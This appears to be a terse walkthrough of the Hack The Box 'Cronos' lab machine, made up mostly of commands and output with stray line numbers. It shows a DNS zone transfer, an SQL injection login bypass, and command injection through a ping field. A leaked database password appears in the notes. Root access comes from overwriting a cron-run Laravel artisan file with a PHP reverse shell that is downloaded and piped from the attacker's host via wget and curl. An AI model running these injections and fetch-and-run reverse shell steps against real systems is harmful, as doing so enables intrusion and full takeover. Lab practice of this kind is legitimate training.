1

nmap -sV -sC -O -vv 10.10.10.13 -oA cronos

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkOUbDfxsLPWvII72vC7hU4sfLkKVEqyHRpvPWV2+5s2S4kH0rS25C/R+pyGIKHF9LGWTqTChmTbcRJLZE4cJCCOEoIyoeXUZWMYJCqV8crflHiVG7Zx3wdUJ4yb54G6NlS4CQFwChHEH9xHlqsJhkpkYEnmKc+CvMzCbn6CZn9KayOuHPy5NEqTRIHObjIEhbrz2ho8+bKP43fJpWFEx0bAzFFGzU0fMEt8Mj5j71JEpSws4GEgMycq4lQMuw8g6Acf4AqvGC5zqpf2VRID0BDi3gdD1vvX2d67QzHJTPA5wgCk/KzoIAovEwGqjIvWnTzXLL8TilZI6/PV8wPHzn
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKWsTNMJT9n5sJr5U1iP8dcbkBrDMs4yp7RRAvuu10E6FmORRY/qrokZVNagS1SA9mC6eaxkgW6NBgBEggm3kfQ=
|   256 1a:0e:e7:ba:00:cc:02:01:04💿a3:a9:3f:5e:22:20 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHBIQsAL/XR/HGmUzGZgRJe/1lQvrFWnODXvxQ1Dc+Zx
53/tcp open  domain  syn-ack ttl 63 ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)

1

dig axfr cronos.htb @10.10.10.13

1

host -l cronos.htb 10.10.10.13

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

<<>> DiG 9.17.20-3-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 24 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Thu Feb 10 18:54:40 EST 2022
;; XFR size: 7 records (messages 1, bytes 203)

1

nano /etc/hosts

1
2
3
4
5
6

# Worked with

admin' #

UserName: admin' #
Password: admin' #

1

8.8.8.8; ls -al

1
2

8.8.8.8; cat /home/noulis/user.txt
	-> user.txt -> ********************************

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

cd admin

cat config.php
	-> <?php
		   define('DB_SERVER', 'localhost');
		   define('DB_USERNAME', 'admin');
		   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
		   define('DB_DATABASE', 'admin');
		   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
		  ?>

1
2
3
4
5
6
7

cat /etc/crontab
	-> # m h dom mon dow user  command
		 17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
		 25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
		 47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
		 52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
		 * * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

# We can use php reverse shell but we need to delete what is in the schedule run by running


cd /var/www/laravel/

cat artisan
		#!/usr/bin/env php
	<?php
	
	/*
	|--------------------------------------------------------------------------
	| Register The Auto Loader
	|--------------------------------------------------------------------------
	|
	| Composer provides a convenient, automatically generated class loader
	| for our application. We just need to utilize it! We'll require it
	| into the script here so that we do not have to worry about the
	| loading of any our classes "manually". Feels great to relax.
	|
	*/
	
	require __DIR__.'/bootstrap/autoload.php';
	
	$app = require_once __DIR__.'/bootstrap/app.php';
	
	/*
	|--------------------------------------------------------------------------
	| Run The Artisan Application
	|--------------------------------------------------------------------------
	|
	| When we run the console application, the current CLI command will be
	| executed in this console and the response sent back to a terminal
	| or another output device for the developers. Here goes nothing!
	|
	*/
	
	$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
	
	$status = $kernel->handle(
	    $input = new Symfony\Component\Console\Input\ArgvInput,
	    new Symfony\Component\Console\Output\ConsoleOutput
	);
	
	/*
	|--------------------------------------------------------------------------
	| Shutdown The Application
	|--------------------------------------------------------------------------
	|
	| Once Artisan has finished running. We will fire off the shutdown events
	| so that any final work may be done by the application before we shut
	| down the process. This is the last thing to happen to the request.
	|
	*/
	
	$kernel->terminate($input, $status);
	
	exit($status);

cat /dev/null > artisan

locate php reverse 

cp /usr/share/webshells/php/php-reverse-shell.php ./

mv php-reverse-shell.php rev.php

# Modify the php-reverse-shell with the correct values

python -m SimpleHTTPServer

wget 

1
2
3
4
5
6

which wget
	-> /usr/bin/wget

wget 10.10.14.50:8000/rev.php ./ # Transfer the php reverse payload to the attacking machine

cp rev.php artisan # Wait for the reverse shell 

1
2
3

cd root
cat root.txt
	-> ********************************

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

cat /etc/crontab

cat /dev/null # delete what it is in the file

cd /home/sake/HTB/oscp_boxes/cronos # 

python -m SimpleHTTPServer

echo "<?php system('curl http://10.10.14.50:8000/rev.php | php')?>" > artisan

cat cartisan # wait 30 secs and will get root